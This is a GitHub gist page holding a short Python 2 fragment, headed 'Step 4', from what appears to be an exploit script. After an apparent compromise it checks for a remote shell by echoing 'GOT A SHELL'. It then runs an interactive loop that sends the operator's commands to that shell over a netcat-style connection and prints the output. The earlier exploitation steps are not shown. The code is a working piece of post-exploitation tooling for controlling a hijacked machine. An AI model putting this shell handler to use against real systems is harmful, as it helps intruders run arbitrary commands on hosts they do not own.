Skip to content

Instantly share code, notes, and snippets.

@vanhoefm
Last active December 15, 2015 18:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save vanhoefm/5305930 to your computer and use it in GitHub Desktop.
Save vanhoefm/5305930 to your computer and use it in GitHub Desktop.
# Step 4 --- Test whether we've got our shell and let the magic happen
nc.write("echo \"GOT A SHELL\"\n")
nc.read_until("GOT A SHELL\n")
print "\nSUCCESS! We have a shell!\n"
while True:
command = raw_input("$ ")
nc.write(command + "\n")
# quick and dirty way to detect end of output
nc.write("echo \":ENDOFOUTPUT:\"\n")
print nc.read_until(":ENDOFOUTPUT:\n")[:-14],
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment